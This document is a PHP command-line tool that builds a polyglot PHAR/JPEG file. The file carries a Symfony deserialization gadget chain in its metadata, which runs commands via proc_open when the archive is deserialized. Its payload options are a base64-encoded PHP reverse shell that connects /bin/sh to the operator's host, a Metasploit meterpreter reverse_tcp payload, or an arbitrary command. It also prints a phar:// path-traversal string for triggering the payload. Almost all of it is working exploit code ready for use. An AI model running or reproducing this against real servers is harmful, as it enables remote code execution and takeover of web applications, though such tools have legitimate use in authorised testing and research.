Polyglot Phar exploit

<?php

// Symfony Gadget
namespace Symfony\Component\Cache\Traits
{
    use \Psr\Log\LoggerAwareTrait;

    trait AbstractTrait
    {
        use LoggerAwareTrait;

        private $namespace;
        private $deferred;
    }
}

namespace Psr\Log
{
    trait LoggerAwareTrait
    {
    }
}

namespace Symfony\Component\Cache\Adapter
{
    use \Symfony\Component\Cache\Traits\AbstractTrait;

    abstract class AbstractAdapter
    {
        use AbstractTrait;

        private $mergeByLifetime = 'proc_open';

        function __construct($command)
        {
            $this->deferred = $command;
            $this->namespace = [];
        }
    }

    class ApcuAdapter extends AbstractAdapter
    {
    }
}

namespace Polyglot\Phar
{
    // Generate alphanumeric string
    function alpha_rand($len=6) {
	   $permitted_chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
	   return substr(str_shuffle($permitted_chars), 0, $len);
    }

    function help() {
        $help = "This PHP CLI script create a polyglot PHAR (PHP Archive) that is a valid PHAR file and JPEG image at the same time.\n";
        $help .= "The PHAR file contain a Symfony gadget chain in his meta data and exploit __destruct() method executing the passed command.\n";
        $help .= "Usage:\n";
        $help .= "-h\tThis help\n";
        $help .= "-t type\tThe payload. Possible values are:\n\t'msf' for msf php reverse shell (need metasploit)\n\t'nc' for a sh reverse shell\n\t'<your command>' for passing command like 'touch /tmp/findme'\n";
        $help .= "-l IP\tThe local IP address\n";
        $help .= "-p port\tThe local port\n";
        $help .= "-o file\tThe output file\n";
        $help .= "-i file\tThe input file. If no file is passed, create a Polyglot PHAR with a default 1x1px image\n";
        print "$help\n";
        exit;
    }

    function print_error($msg) {
        print "[!] ".$msg."\n\n";
        help();
    }

    function print_info($msg){
        print "[-] ".$msg."\n";
    }

    function read_input_file($filename = '') {
        print("filename: ".$filename);
        if($filename == '') {
            $jpeg =
            "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x01\x2C\x01\x2C\x00\x00\xFF\xFE\x00\x18\x43".
            "\x72\x65\x61\x74\x65\x64\x20\x62\x79\x20\x46\x61\x62\x69\x6F\x20\x43\x6F\x67\x6E\x6F\xFF\xDB\x00\x43".
            "\x00\x03\x02\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0A\x07\x07".
            "\x06\x08\x0C\x0A\x0C\x0C\x0B\x0A\x0B\x0B\x0D\x0E\x12\x10\x0D\x0E\x11\x0E\x0B\x0B\x10\x16\x10\x11\x13".
            "\x14\x15\x15\x15\x0C\x0F\x17\x18\x16\x14\x18\x12\x14\x15\x14\xFF\xDB\x00\x43\x01\x03\x04\x04\x05\x04".
            "\x05\x09\x05\x05\x09\x14\x0D\x0B\x0D\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
            "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
            "\x14\x14\x14\x14\x14\x14\x14\x14\x14\xFF\xC2\x00\x11\x08\x00\x01\x00\x01\x03\x01\x11\x00\x02\x11\x01".
            "\x03\x11\x01\xFF\xC4\x00\x14\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01".
            "\xFF\xC4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xFF\xDA\x00".
            "\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\x54\x81\x3F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00".
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x7F\xFF\xC4\x00".
            "\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03".
            "\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
            "\x00\x00\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00".
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x7F\xFF\xC4\x00\x14".
            "\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00".
            "\x01\x3F\x21\x7F\xFF\xDA\x00\x0C\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\xFF\x00\xFF\xC4\x00\x14\x11".
            "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x03\x01\x01".
            "\x3F\x10\x7F\xFF\xC4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
            "\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x10\x7F\xFF\xC4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00".
            "\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDA\x00\x08\x01\x01\x00\x01\x3F\x10\x7F\xFF\xD9";
            return $jpeg;
        }
        // Open input file
        $handle = fopen($filename, "rb");
        $contents = fread($handle, filesize($filename));
        fclose($handle);
        return $contents;
    }

    // define option
    $shortopt = "";
    $shortopt .= "h"; //the help
    $shortopt .= "t:"; // The type of paylod
    $shortopt .= "l:"; // the local IP
    $shortopt .= "p:"; // the local port
    $shortopt .= "o:"; // the output file
    $shortopt .= "i:"; // the input file

    $opt = getopt($shortopt);

    if(empty($opt)) help();
    if(isset($opt['h'])) help();
    if(!isset($opt['p']) || !preg_match('/\d{1,5}/', $opt['p'])) print_error('Port is incorrect!');
    if(!isset($opt['l']) || !preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $opt['l'])) print_error('Local IP is incorrect!');
    if(!isset($opt['o'])) print_error('You must set an output file!');
    isset($opt['i']) ? $filename = $opt['i'] : $filename = '';

    // Set the payload
    if($opt['t'] == 'nc') {
        // PHP code and command is OS independent
        // Base64 encoding avoid to escape serialization bad char
        $php_payload = base64_encode('$sock=fsockopen("'.$opt['l'].'",'.$opt['p'].');exec("/bin/sh -i <&3 >&3 2>&3");');
        $payload = "php -r 'eval(base64_decode(\"".$php_payload."\"));'";
        print_info("run 'nc -l -p ".$opt['p']."'");
    } elseif($opt['t'] == 'msf') {
        $php_payload = base64_encode(exec('msfvenom -p php/meterpreter/reverse_tcp LHOST='.$opt['l'].' LPORT='.$opt['p'].' -a php --platform php -f raw'));
        $payload = "php -r 'eval(base64_decode(\"".$php_payload."\"));'";
        print_info("run 'msfconsole -x \"use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set LHOST ".$opt['l']."; exploit\"'");
    } else {
        // for command like "touch /tmp/findme.txt"
        $payload = $opt['t'];
        print_info("Paylod created: ".$opt['t']);
    }
    
    // Create a new phar file
    $phar = new \Phar("tmp.phar");
    $phar->startBuffering();
    // The content file of the phar archive
    // Randomize the file name of the file in the phar archive
    $cfile = alpha_rand(mt_rand(4,8)).'.txt';
    // Randomize the content of the random file in the phar archive
    $phar->addFromString($cfile, alpha_rand(mt_rand(4,10)));
    // Add the content of the input file at the start of the stub
    $phar->setStub(read_input_file($filename)." __HALT_COMPILER(); ?>");
    // Generate the PHP Symfony serialized object with the payload
    $serialize = new \Symfony\Component\Cache\Adapter\ApcuAdapter($payload);
    // Add the object to the phar meta data
    $phar->setMetadata($serialize);
    $phar->stopBuffering();

    // Rename the phar with the user output filename
    rename("tmp.phar", $opt['o']);
    print "[+] Creation complete successfully!\n";
    print "[-] Payload to send: ".$opt['o']."/".$cfile."\n";
    print "[-] e.g.: filename=phar://../../../../../../../../../../../../var/www/html/web/var/assets/".$opt['o']."/".$cfile."\n";
}
?>